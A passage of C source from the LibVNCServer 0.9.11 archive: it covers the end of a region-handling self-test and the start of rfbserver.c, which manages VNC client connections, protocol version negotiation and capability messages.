= cx+1; if (*y2 <= cy) *y2 = cy+1; if (*x2 > cx2) *x2 = cx2; if (*y2 > cy2) *y2 = cy2; return (*x2>*x) && (*y2>*y); } /* test */ #ifdef SRA_TEST /* pipe the output to sort|uniq -u and you'll get the errors. */ int main(int argc, char** argv) { sraRegionPtr region, region1, region2; sraRectangleIterator* i; sraRect rect; rfbBool b; region = sraRgnCreateRect(10, 10, 600, 300); region1 = sraRgnCreateRect(40, 50, 350, 200); region2 = sraRgnCreateRect(0, 0, 20, 40); sraRgnPrint(region); printf("\n[(10-300)[(10-600)]]\n\n"); b = sraRgnSubtract(region, region1); printf("%s ",b?"true":"false"); sraRgnPrint(region); printf("\ntrue [(10-50)[(10-600)](50-200)[(10-40)(350-600)](200-300)[(10-600)]]\n\n"); sraRgnOr(region, region2); printf("%ld\n6\n\n", sraRgnCountRects(region)); i = sraRgnGetIterator(region); while(sraRgnIteratorNext(i, &rect)) printf("%dx%d+%d+%d ", rect.x2-rect.x1,rect.y2-rect.y1, rect.x1,rect.y1); sraRgnReleaseIterator(i); printf("\n20x10+0+0 600x30+0+10 590x10+10+40 30x150+10+50 250x150+350+50 590x100+10+200 \n\n"); i = sraRgnGetReverseIterator(region,1,0); while(sraRgnIteratorNext(i, &rect)) printf("%dx%d+%d+%d ", rect.x2-rect.x1,rect.y2-rect.y1, rect.x1,rect.y1); sraRgnReleaseIterator(i); printf("\n20x10+0+0 600x30+0+10 590x10+10+40 250x150+350+50 30x150+10+50 590x100+10+200 \n\n"); i = sraRgnGetReverseIterator(region,1,1); while(sraRgnIteratorNext(i, &rect)) printf("%dx%d+%d+%d ", rect.x2-rect.x1,rect.y2-rect.y1, rect.x1,rect.y1); sraRgnReleaseIterator(i); printf("\n590x100+10+200 250x150+350+50 30x150+10+50 590x10+10+40 600x30+0+10 20x10+0+0 \n\n"); sraRgnDestroy(region); sraRgnDestroy(region1); sraRgnDestroy(region2); return(0); } #endif libvncserver-LibVNCServer-0.9.11/libvncserver/rfbserver.c000066400000000000000000003313011303145525000234170ustar00rootroot00000000000000/* * rfbserver.c - deal with server-side of the RFB protocol. */ /* * Copyright (C) 2011-2012 D. R. Commander * Copyright (C) 2005 Rohit Kumar, Johannes E. Schindelin * Copyright (C) 2002 RealVNC Ltd. * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #ifdef __STRICT_ANSI__ #define _BSD_SOURCE #define _POSIX_SOURCE #define _XOPEN_SOURCE 600 #endif #include #include #include #include #include "private.h" #ifdef LIBVNCSERVER_HAVE_FCNTL_H #include #endif #ifdef WIN32 #include #include #include #define write(sock,buf,len) send(sock,buf,len,0) #else #ifdef LIBVNCSERVER_HAVE_UNISTD_H #include #endif #include #ifdef LIBVNCSERVER_HAVE_SYS_SOCKET_H #include #endif #ifdef LIBVNCSERVER_HAVE_NETINET_IN_H #include #include #include #include #endif #endif #ifdef DEBUGPROTO #undef DEBUGPROTO #define DEBUGPROTO(x) x #else #define DEBUGPROTO(x) #endif #include #include /* stst() */ #include #include #include #ifndef WIN32 /* readdir() */ #include #endif /* errno */ #include /* strftime() */ #include #ifdef LIBVNCSERVER_WITH_WEBSOCKETS #include "rfbssl.h" #endif #ifdef _MSC_VER #define snprintf _snprintf /* Missing in MSVC */ /* Prevent POSIX deprecation warnings */ #define close _close #define strdup _strdup #endif #ifdef WIN32 #include #ifdef __MINGW32__ #define mkdir(path, perms) mkdir(path) /* Omit the perms argument to match POSIX signature */ #else /* MSVC and other windows compilers */ #define mkdir(path, perms) _mkdir(path) /* Omit the perms argument to match POSIX signature */ #endif /* __MINGW32__ else... */ #ifndef S_ISDIR #define S_ISDIR(m) (((m) & S_IFDIR) == S_IFDIR) #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBJPEG /* * Map of quality levels to provide compatibility with TightVNC/TigerVNC * clients. This emulates the behavior of the TigerVNC Server. */ static const int tight2turbo_qual[10] = { 15, 29, 41, 42, 62, 77, 79, 86, 92, 100 }; static const int tight2turbo_subsamp[10] = { 1, 1, 1, 2, 2, 2, 0, 0, 0, 0 }; #endif static void rfbProcessClientProtocolVersion(rfbClientPtr cl); static void rfbProcessClientNormalMessage(rfbClientPtr cl); static void rfbProcessClientInitMessage(rfbClientPtr cl); #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD void rfbIncrClientRef(rfbClientPtr cl) { LOCK(cl->refCountMutex); cl->refCount++; UNLOCK(cl->refCountMutex); } void rfbDecrClientRef(rfbClientPtr cl) { LOCK(cl->refCountMutex); cl->refCount--; if(cl->refCount<=0) /* just to be sure also < 0 */ TSIGNAL(cl->deleteCond); UNLOCK(cl->refCountMutex); } #else void rfbIncrClientRef(rfbClientPtr cl) {} void rfbDecrClientRef(rfbClientPtr cl) {} #endif #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD static MUTEX(rfbClientListMutex); #endif struct rfbClientIterator { rfbClientPtr next; rfbScreenInfoPtr screen; rfbBool closedToo; }; void rfbClientListInit(rfbScreenInfoPtr rfbScreen) { if(sizeof(rfbBool)!=1) { /* a sanity check */ fprintf(stderr,"rfbBool's size is not 1 (%d)!\n",(int)sizeof(rfbBool)); /* we cannot continue, because rfbBool is supposed to be char everywhere */ exit(1); } rfbScreen->clientHead = NULL; INIT_MUTEX(rfbClientListMutex); } rfbClientIteratorPtr rfbGetClientIterator(rfbScreenInfoPtr rfbScreen) { rfbClientIteratorPtr i = (rfbClientIteratorPtr)malloc(sizeof(struct rfbClientIterator)); i->next = NULL; i->screen = rfbScreen; i->closedToo = FALSE; return i; } rfbClientIteratorPtr rfbGetClientIteratorWithClosed(rfbScreenInfoPtr rfbScreen) { rfbClientIteratorPtr i = (rfbClientIteratorPtr)malloc(sizeof(struct rfbClientIterator)); i->next = NULL; i->screen = rfbScreen; i->closedToo = TRUE; return i; } rfbClientPtr rfbClientIteratorHead(rfbClientIteratorPtr i) { #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(i->next != 0) { rfbDecrClientRef(i->next); rfbIncrClientRef(i->screen->clientHead); } #endif LOCK(rfbClientListMutex); i->next = i->screen->clientHead; UNLOCK(rfbClientListMutex); return i->next; } rfbClientPtr rfbClientIteratorNext(rfbClientIteratorPtr i) { if(i->next == 0) { LOCK(rfbClientListMutex); i->next = i->screen->clientHead; UNLOCK(rfbClientListMutex); } else { IF_PTHREADS(rfbClientPtr cl = i->next); i->next = i->next->next; IF_PTHREADS(rfbDecrClientRef(cl)); } #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(!i->closedToo) while(i->next && i->next->sock<0) i->next = i->next->next; if(i->next) rfbIncrClientRef(i->next); #endif return i->next; } void rfbReleaseClientIterator(rfbClientIteratorPtr iterator) { IF_PTHREADS(if(iterator->next) rfbDecrClientRef(iterator->next)); free(iterator); } /* * rfbNewClientConnection is called from sockets.c when a new connection * comes in. */ void rfbNewClientConnection(rfbScreenInfoPtr rfbScreen, int sock) { rfbNewClient(rfbScreen,sock); } /* * rfbReverseConnection is called to make an outward * connection to a "listening" RFB client. */ rfbClientPtr rfbReverseConnection(rfbScreenInfoPtr rfbScreen, char *host, int port) { int sock; rfbClientPtr cl; if ((sock = rfbConnect(rfbScreen, host, port)) < 0) return (rfbClientPtr)NULL; cl = rfbNewClient(rfbScreen, sock); if (cl) { cl->reverseConnection = TRUE; } return cl; } void rfbSetProtocolVersion(rfbScreenInfoPtr rfbScreen, int major_, int minor_) { /* Permit the server to set the version to report */ /* TODO: sanity checking */ if ((major_==3) && (minor_ > 2 && minor_ < 9)) { rfbScreen->protocolMajorVersion = major_; rfbScreen->protocolMinorVersion = minor_; } else rfbLog("rfbSetProtocolVersion(%d,%d) set to invalid values\n", major_, minor_); } /* * rfbNewClient is called when a new connection has been made by whatever * means. */ static rfbClientPtr rfbNewTCPOrUDPClient(rfbScreenInfoPtr rfbScreen, int sock, rfbBool isUDP) { rfbProtocolVersionMsg pv; rfbClientIteratorPtr iterator; rfbClientPtr cl,cl_; #ifdef LIBVNCSERVER_IPv6 struct sockaddr_storage addr; #else struct sockaddr_in addr; #endif socklen_t addrlen = sizeof(addr); rfbProtocolExtension* extension; cl = (rfbClientPtr)calloc(sizeof(rfbClientRec),1); cl->screen = rfbScreen; cl->sock = sock; cl->viewOnly = FALSE; /* setup pseudo scaling */ cl->scaledScreen = rfbScreen; cl->scaledScreen->scaledScreenRefCount++; rfbResetStats(cl); cl->clientData = NULL; cl->clientGoneHook = rfbDoNothingWithClient; if(isUDP) { rfbLog(" accepted UDP client\n"); } else { #ifdef LIBVNCSERVER_IPv6 char host[1024]; #endif int one=1; getpeername(sock, (struct sockaddr *)&addr, &addrlen); #ifdef LIBVNCSERVER_IPv6 if(getnameinfo((struct sockaddr*)&addr, addrlen, host, sizeof(host), NULL, 0, NI_NUMERICHOST) != 0) { rfbLogPerror("rfbNewClient: error in getnameinfo"); cl->host = strdup(""); } else cl->host = strdup(host); #else cl->host = strdup(inet_ntoa(addr.sin_addr)); #endif rfbLog(" other clients:\n"); iterator = rfbGetClientIterator(rfbScreen); while ((cl_ = rfbClientIteratorNext(iterator)) != NULL) { rfbLog(" %s\n",cl_->host); } rfbReleaseClientIterator(iterator); if(!rfbSetNonBlocking(sock)) { close(sock); return NULL; } if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *)&one, sizeof(one)) < 0) { rfbLogPerror("setsockopt failed: can't set TCP_NODELAY flag, non TCP socket?"); } FD_SET(sock,&(rfbScreen->allFds)); rfbScreen->maxFd = rfbMax(sock,rfbScreen->maxFd); INIT_MUTEX(cl->outputMutex); INIT_MUTEX(cl->refCountMutex); INIT_MUTEX(cl->sendMutex); INIT_COND(cl->deleteCond); cl->state = RFB_PROTOCOL_VERSION; cl->reverseConnection = FALSE; cl->readyForSetColourMapEntries = FALSE; cl->useCopyRect = FALSE; cl->preferredEncoding = -1; cl->correMaxWidth = 48; cl->correMaxHeight = 48; #ifdef LIBVNCSERVER_HAVE_LIBZ cl->zrleData = NULL; #endif cl->copyRegion = sraRgnCreate(); cl->copyDX = 0; cl->copyDY = 0; cl->modifiedRegion = sraRgnCreateRect(0,0,rfbScreen->width,rfbScreen->height); INIT_MUTEX(cl->updateMutex); INIT_COND(cl->updateCond); cl->requestedRegion = sraRgnCreate(); cl->format = cl->screen->serverFormat; cl->translateFn = rfbTranslateNone; cl->translateLookupTable = NULL; LOCK(rfbClientListMutex); IF_PTHREADS(cl->refCount = 0); cl->next = rfbScreen->clientHead; cl->prev = NULL; if (rfbScreen->clientHead) rfbScreen->clientHead->prev = cl; rfbScreen->clientHead = cl; UNLOCK(rfbClientListMutex); #if defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG) cl->tightQualityLevel = -1; #ifdef LIBVNCSERVER_HAVE_LIBJPEG cl->tightCompressLevel = TIGHT_DEFAULT_COMPRESSION; cl->turboSubsampLevel = TURBO_DEFAULT_SUBSAMP; { int i; for (i = 0; i < 4; i++) cl->zsActive[i] = FALSE; } #endif #endif cl->fileTransfer.fd = -1; cl->enableCursorShapeUpdates = FALSE; cl->enableCursorPosUpdates = FALSE; cl->useRichCursorEncoding = FALSE; cl->enableLastRectEncoding = FALSE; cl->enableKeyboardLedState = FALSE; cl->enableSupportedMessages = FALSE; cl->enableSupportedEncodings = FALSE; cl->enableServerIdentity = FALSE; cl->lastKeyboardLedState = -1; cl->cursorX = rfbScreen->cursorX; cl->cursorY = rfbScreen->cursorY; cl->useNewFBSize = FALSE; #ifdef LIBVNCSERVER_HAVE_LIBZ cl->compStreamInited = FALSE; cl->compStream.total_in = 0; cl->compStream.total_out = 0; cl->compStream.zalloc = Z_NULL; cl->compStream.zfree = Z_NULL; cl->compStream.opaque = Z_NULL; cl->zlibCompressLevel = 5; #endif cl->progressiveSliceY = 0; cl->extensions = NULL; cl->lastPtrX = -1; #ifdef LIBVNCSERVER_WITH_WEBSOCKETS /* * Wait a few ms for the client to send one of: * - Flash policy request * - WebSockets connection (TLS/SSL or plain) */ if (!webSocketsCheck(cl)) { /* Error reporting handled in webSocketsHandshake */ rfbCloseClient(cl); rfbClientConnectionGone(cl); return NULL; } #endif sprintf(pv,rfbProtocolVersionFormat,rfbScreen->protocolMajorVersion, rfbScreen->protocolMinorVersion); if (rfbWriteExact(cl, pv, sz_rfbProtocolVersionMsg) < 0) { rfbLogPerror("rfbNewClient: write"); rfbCloseClient(cl); rfbClientConnectionGone(cl); return NULL; } } for(extension = rfbGetExtensionIterator(); extension; extension=extension->next) { void* data = NULL; /* if the extension does not have a newClient method, it wants * to be initialized later. */ if(extension->newClient && extension->newClient(cl, &data)) rfbEnableExtension(cl, extension, data); } rfbReleaseExtensionIterator(); switch (cl->screen->newClientHook(cl)) { case RFB_CLIENT_ON_HOLD: cl->onHold = TRUE; break; case RFB_CLIENT_ACCEPT: cl->onHold = FALSE; break; case RFB_CLIENT_REFUSE: rfbCloseClient(cl); rfbClientConnectionGone(cl); cl = NULL; break; } return cl; } rfbClientPtr rfbNewClient(rfbScreenInfoPtr rfbScreen, int sock) { return(rfbNewTCPOrUDPClient(rfbScreen,sock,FALSE)); } rfbClientPtr rfbNewUDPClient(rfbScreenInfoPtr rfbScreen) { return((rfbScreen->udpClient= rfbNewTCPOrUDPClient(rfbScreen,rfbScreen->udpSock,TRUE))); } /* * rfbClientConnectionGone is called from sockets.c just after a connection * has gone away. */ void rfbClientConnectionGone(rfbClientPtr cl) { #if defined(LIBVNCSERVER_HAVE_LIBZ) && defined(LIBVNCSERVER_HAVE_LIBJPEG) int i; #endif LOCK(rfbClientListMutex); if (cl->prev) cl->prev->next = cl->next; else cl->screen->clientHead = cl->next; if (cl->next) cl->next->prev = cl->prev; UNLOCK(rfbClientListMutex); #ifdef LIBVNCSERVER_HAVE_LIBPTHREAD if(cl->screen->backgroundLoop != FALSE) { int i; do { LOCK(cl->refCountMutex); i=cl->refCount; if(i>0) WAIT(cl->deleteCond,cl->refCountMutex); UNLOCK(cl->refCountMutex); } while(i>0); } #endif if(cl->sock>=0) close(cl->sock); if (cl->scaledScreen!=NULL) cl->scaledScreen->scaledScreenRefCount--; #ifdef LIBVNCSERVER_HAVE_LIBZ rfbFreeZrleData(cl); #endif rfbFreeUltraData(cl); /* free buffers holding pixel data before and after encoding */ free(cl->beforeEncBuf); free(cl->afterEncBuf); if(cl->sock>=0) FD_CLR(cl->sock,&(cl->screen->allFds)); cl->clientGoneHook(cl); rfbLog("Client %s gone\n",cl->host); free(cl->host); #ifdef LIBVNCSERVER_HAVE_LIBZ /* Release the compression state structures if any. */ if ( cl->compStreamInited ) { deflateEnd( &(cl->compStream) ); } #ifdef LIBVNCSERVER_HAVE_LIBJPEG for (i = 0; i < 4; i++) { if (cl->zsActive[i]) deflateEnd(&cl->zsStruct[i]); } #endif #endif if (cl->screen->pointerClient == cl) cl->screen->pointerClient = NULL; sraRgnDestroy(cl->modifiedRegion); sraRgnDestroy(cl->requestedRegion); sraRgnDestroy(cl->copyRegion); if (cl->translateLookupTable) free(cl->translateLookupTable); TINI_COND(cl->updateCond); TINI_MUTEX(cl->updateMutex); /* make sure outputMutex is unlocked before destroying */ LOCK(cl->outputMutex); UNLOCK(cl->outputMutex); TINI_MUTEX(cl->outputMutex); LOCK(cl->sendMutex); UNLOCK(cl->sendMutex); TINI_MUTEX(cl->sendMutex); rfbPrintStats(cl); rfbResetStats(cl); free(cl); } /* * rfbProcessClientMessage is called when there is data to read from a client. */ void rfbProcessClientMessage(rfbClientPtr cl) { switch (cl->state) { case RFB_PROTOCOL_VERSION: rfbProcessClientProtocolVersion(cl); return; case RFB_SECURITY_TYPE: rfbProcessClientSecurityType(cl); return; case RFB_AUTHENTICATION: rfbAuthProcessClientMessage(cl); return; case RFB_INITIALISATION: case RFB_INITIALISATION_SHARED: rfbProcessClientInitMessage(cl); return; default: rfbProcessClientNormalMessage(cl); return; } } /* * rfbProcessClientProtocolVersion is called when the client sends its * protocol version. */ static void rfbProcessClientProtocolVersion(rfbClientPtr cl) { rfbProtocolVersionMsg pv; int n, major_, minor_; if ((n = rfbReadExact(cl, pv, sz_rfbProtocolVersionMsg)) <= 0) { if (n == 0) rfbLog("rfbProcessClientProtocolVersion: client gone\n"); else rfbLogPerror("rfbProcessClientProtocolVersion: read"); rfbCloseClient(cl); return; } pv[sz_rfbProtocolVersionMsg] = 0; if (sscanf(pv,rfbProtocolVersionFormat,&major_,&minor_) != 2) { rfbErr("rfbProcessClientProtocolVersion: not a valid RFB client: %s\n", pv); rfbCloseClient(cl); return; } rfbLog("Client Protocol Version %d.%d\n", major_, minor_); if (major_ != rfbProtocolMajorVersion) { rfbErr("RFB protocol version mismatch - server %d.%d, client %d.%d", cl->screen->protocolMajorVersion, cl->screen->protocolMinorVersion, major_,minor_); rfbCloseClient(cl); return; } /* Check for the minor version use either of the two standard version of RFB */ /* * UltraVNC Viewer detects FileTransfer compatible servers via rfb versions * 3.4, 3.6, 3.14, 3.16 * It's a bad method, but it is what they use to enable features... * maintaining RFB version compatibility across multiple servers is a pain * Should use something like ServerIdentity encoding */ cl->protocolMajorVersion = major_; cl->protocolMinorVersion = minor_; rfbLog("Protocol version sent %d.%d, using %d.%d\n", major_, minor_, rfbProtocolMajorVersion, cl->protocolMinorVersion); rfbAuthNewClient(cl); } void rfbClientSendString(rfbClientPtr cl, const char *reason) { char *buf; int len = strlen(reason); rfbLog("rfbClientSendString(\"%s\")\n", reason); buf = (char *)malloc(4 + len); ((uint32_t *)buf)[0] = Swap32IfLE(len); memcpy(buf + 4, reason, len); if (rfbWriteExact(cl, buf, 4 + len) < 0) rfbLogPerror("rfbClientSendString: write"); free(buf); rfbCloseClient(cl); } /* * rfbClientConnFailed is called when a client connection has failed either * because it talks the wrong protocol or it has failed authentication. */ void rfbClientConnFailed(rfbClientPtr cl, const char *reason) { char *buf; int len = strlen(reason); rfbLog("rfbClientConnFailed(\"%s\")\n", reason); buf = (char *)malloc(8 + len); ((uint32_t *)buf)[0] = Swap32IfLE(rfbConnFailed); ((uint32_t *)buf)[1] = Swap32IfLE(len); memcpy(buf + 8, reason, len); if (rfbWriteExact(cl, buf, 8 + len) < 0) rfbLogPerror("rfbClientConnFailed: write"); free(buf); rfbCloseClient(cl); } /* * rfbProcessClientInitMessage is called when the client sends its * initialisation message. */ static void rfbProcessClientInitMessage(rfbClientPtr cl) { rfbClientInitMsg ci; union { char buf[256]; rfbServerInitMsg si; } u; int len, n; rfbClientIteratorPtr iterator; rfbClientPtr otherCl; rfbExtensionData* extension; if (cl->state == RFB_INITIALISATION_SHARED) { /* In this case behave as though an implicit ClientInit message has * already been received with a shared-flag of true. */ ci.shared = 1; /* Avoid the possibility of exposing the RFB_INITIALISATION_SHARED * state to calling software. */ cl->state = RFB_INITIALISATION; } else { if ((n = rfbReadExact(cl, (char *)&ci,sz_rfbClientInitMsg)) <= 0) { if (n == 0) rfbLog("rfbProcessClientInitMessage: client gone\n"); else rfbLogPerror("rfbProcessClientInitMessage: read"); rfbCloseClient(cl); return; } } memset(u.buf,0,sizeof(u.buf)); u.si.framebufferWidth = Swap16IfLE(cl->screen->width); u.si.framebufferHeight = Swap16IfLE(cl->screen->height); u.si.format = cl->screen->serverFormat; u.si.format.redMax = Swap16IfLE(u.si.format.redMax); u.si.format.greenMax = Swap16IfLE(u.si.format.greenMax); u.si.format.blueMax = Swap16IfLE(u.si.format.blueMax); strncpy(u.buf + sz_rfbServerInitMsg, cl->screen->desktopName, 127); len = strlen(u.buf + sz_rfbServerInitMsg); u.si.nameLength = Swap32IfLE(len); if (rfbWriteExact(cl, u.buf, sz_rfbServerInitMsg + len) < 0) { rfbLogPerror("rfbProcessClientInitMessage: write"); rfbCloseClient(cl); return; } for(extension = cl->extensions; extension;) { rfbExtensionData* next = extension->next; if(extension->extension->init && !extension->extension->init(cl, extension->data)) /* extension requested that it be removed */ rfbDisableExtension(cl, extension->extension); extension = next; } cl->state = RFB_NORMAL; if (!cl->reverseConnection && (cl->screen->neverShared || (!cl->screen->alwaysShared && !ci.shared))) { if (cl->screen->dontDisconnect) { iterator = rfbGetClientIterator(cl->screen); while ((otherCl = rfbClientIteratorNext(iterator)) != NULL) { if ((otherCl != cl) && (otherCl->state == RFB_NORMAL)) { rfbLog("-dontdisconnect: Not shared & existing client\n"); rfbLog(" refusing new client %s\n", cl->host); rfbCloseClient(cl); rfbReleaseClientIterator(iterator); return; } } rfbReleaseClientIterator(iterator); } else { iterator = rfbGetClientIterator(cl->screen); while ((otherCl = rfbClientIteratorNext(iterator)) != NULL) { if ((otherCl != cl) && (otherCl->state == RFB_NORMAL)) { rfbLog("Not shared - closing connection to client %s\n", otherCl->host); rfbCloseClient(otherCl); } } rfbReleaseClientIterator(iterator); } } } /* The values come in based on the scaled screen, we need to convert them to * values based on the man screen's coordinate system */ static rfbBool rectSwapIfLEAndClip(uint16_t* x,uint16_t* y,uint16_t* w,uint16_t* h, rfbClientPtr cl) { int x1=Swap16IfLE(*x); int y1=Swap16IfLE(*y); int w1=Swap16IfLE(*w); int h1=Swap16IfLE(*h); rfbScaledCorrection(cl->scaledScreen, cl->screen, &x1, &y1, &w1, &h1, "rectSwapIfLEAndClip"); *x = x1; *y = y1; *w = w1; *h = h1; if(*w>cl->screen->width-*x) *w=cl->screen->width-*x; /* possible underflow */ if(*w>cl->screen->width-*x) return FALSE; if(*h>cl->screen->height-*y) *h=cl->screen->height-*y; if(*h>cl->screen->height-*y) return FALSE; return TRUE; } /* * Send keyboard state (PointerPos pseudo-encoding). */ rfbBool rfbSendKeyboardLedState(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingKeyboardLedState); rect.r.x = Swap16IfLE(cl->lastKeyboardLedState); rect.r.y = 0; rect.r.w = 0; rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingKeyboardLedState, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } #define rfbSetBit(buffer, position) (buffer[(position & 255) / 8] |= (1 << (position % 8))) /* * Send rfbEncodingSupportedMessages. */ rfbBool rfbSendSupportedMessages(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; rfbSupportedMessages msgs; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + sz_rfbSupportedMessages > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingSupportedMessages); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(sz_rfbSupportedMessages); rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; memset((char *)&msgs, 0, sz_rfbSupportedMessages); rfbSetBit(msgs.client2server, rfbSetPixelFormat); rfbSetBit(msgs.client2server, rfbFixColourMapEntries); rfbSetBit(msgs.client2server, rfbSetEncodings); rfbSetBit(msgs.client2server, rfbFramebufferUpdateRequest); rfbSetBit(msgs.client2server, rfbKeyEvent); rfbSetBit(msgs.client2server, rfbPointerEvent); rfbSetBit(msgs.client2server, rfbClientCutText); rfbSetBit(msgs.client2server, rfbFileTransfer); rfbSetBit(msgs.client2server, rfbSetScale); /*rfbSetBit(msgs.client2server, rfbSetServerInput); */ /*rfbSetBit(msgs.client2server, rfbSetSW); */ /*rfbSetBit(msgs.client2server, rfbTextChat); */ rfbSetBit(msgs.client2server, rfbPalmVNCSetScaleFactor); rfbSetBit(msgs.server2client, rfbFramebufferUpdate); rfbSetBit(msgs.server2client, rfbSetColourMapEntries); rfbSetBit(msgs.server2client, rfbBell); rfbSetBit(msgs.server2client, rfbServerCutText); rfbSetBit(msgs.server2client, rfbResizeFrameBuffer); rfbSetBit(msgs.server2client, rfbPalmVNCReSizeFrameBuffer); if (cl->screen->xvpHook) { rfbSetBit(msgs.client2server, rfbXvp); rfbSetBit(msgs.server2client, rfbXvp); } memcpy(&cl->updateBuf[cl->ublen], (char *)&msgs, sz_rfbSupportedMessages); cl->ublen += sz_rfbSupportedMessages; rfbStatRecordEncodingSent(cl, rfbEncodingSupportedMessages, sz_rfbFramebufferUpdateRectHeader+sz_rfbSupportedMessages, sz_rfbFramebufferUpdateRectHeader+sz_rfbSupportedMessages); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } /* * Send rfbEncodingSupportedEncodings. */ rfbBool rfbSendSupportedEncodings(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; static uint32_t supported[] = { rfbEncodingRaw, rfbEncodingCopyRect, rfbEncodingRRE, rfbEncodingCoRRE, rfbEncodingHextile, #ifdef LIBVNCSERVER_HAVE_LIBZ rfbEncodingZlib, rfbEncodingZRLE, rfbEncodingZYWRLE, #endif #ifdef LIBVNCSERVER_HAVE_LIBJPEG rfbEncodingTight, #endif #ifdef LIBVNCSERVER_HAVE_LIBPNG rfbEncodingTightPng, #endif rfbEncodingUltra, rfbEncodingUltraZip, rfbEncodingXCursor, rfbEncodingRichCursor, rfbEncodingPointerPos, rfbEncodingLastRect, rfbEncodingNewFBSize, rfbEncodingKeyboardLedState, rfbEncodingSupportedMessages, rfbEncodingSupportedEncodings, rfbEncodingServerIdentity, }; uint32_t nEncodings = sizeof(supported) / sizeof(supported[0]), i; /* think rfbSetEncodingsMsg */ if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + (nEncodings * sizeof(uint32_t)) > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingSupportedEncodings); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(nEncodings * sizeof(uint32_t)); rect.r.h = Swap16IfLE(nEncodings); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; for (i = 0; i < nEncodings; i++) { uint32_t encoding = Swap32IfLE(supported[i]); memcpy(&cl->updateBuf[cl->ublen], (char *)&encoding, sizeof(encoding)); cl->ublen += sizeof(encoding); } rfbStatRecordEncodingSent(cl, rfbEncodingSupportedEncodings, sz_rfbFramebufferUpdateRectHeader+(nEncodings * sizeof(uint32_t)), sz_rfbFramebufferUpdateRectHeader+(nEncodings * sizeof(uint32_t))); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } void rfbSetServerVersionIdentity(rfbScreenInfoPtr screen, char *fmt, ...) { char buffer[256]; va_list ap; va_start(ap, fmt); vsnprintf(buffer, sizeof(buffer)-1, fmt, ap); va_end(ap); if (screen->versionString!=NULL) free(screen->versionString); screen->versionString = strdup(buffer); } /* * Send rfbEncodingServerIdentity. */ rfbBool rfbSendServerIdentity(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; char buffer[512]; /* tack on our library version */ snprintf(buffer,sizeof(buffer)-1, "%s (%s)", (cl->screen->versionString==NULL ? "unknown" : cl->screen->versionString), LIBVNCSERVER_PACKAGE_STRING); if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + (strlen(buffer)+1) > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingServerIdentity); rect.r.x = 0; rect.r.y = 0; rect.r.w = Swap16IfLE(strlen(buffer)+1); rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; memcpy(&cl->updateBuf[cl->ublen], buffer, strlen(buffer)+1); cl->ublen += strlen(buffer)+1; rfbStatRecordEncodingSent(cl, rfbEncodingServerIdentity, sz_rfbFramebufferUpdateRectHeader+strlen(buffer)+1, sz_rfbFramebufferUpdateRectHeader+strlen(buffer)+1); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } /* * Send an xvp server message */ rfbBool rfbSendXvp(rfbClientPtr cl, uint8_t version, uint8_t code) { rfbXvpMsg xvp; xvp.type = rfbXvp; xvp.pad = 0; xvp.version = version; xvp.code = code; LOCK(cl->sendMutex); if (rfbWriteExact(cl, (char *)&xvp, sz_rfbXvpMsg) < 0) { rfbLogPerror("rfbSendXvp: write"); rfbCloseClient(cl); } UNLOCK(cl->sendMutex); rfbStatRecordMessageSent(cl, rfbXvp, sz_rfbXvpMsg, sz_rfbXvpMsg); return TRUE; } rfbBool rfbSendTextChatMessage(rfbClientPtr cl, uint32_t length, char *buffer) { rfbTextChatMsg tc; int bytesToSend=0; memset((char *)&tc, 0, sizeof(tc)); tc.type = rfbTextChat; tc.length = Swap32IfLE(length); switch(length) { case rfbTextChatOpen: case rfbTextChatClose: case rfbTextChatFinished: bytesToSend=0; break; default: bytesToSend=length; if 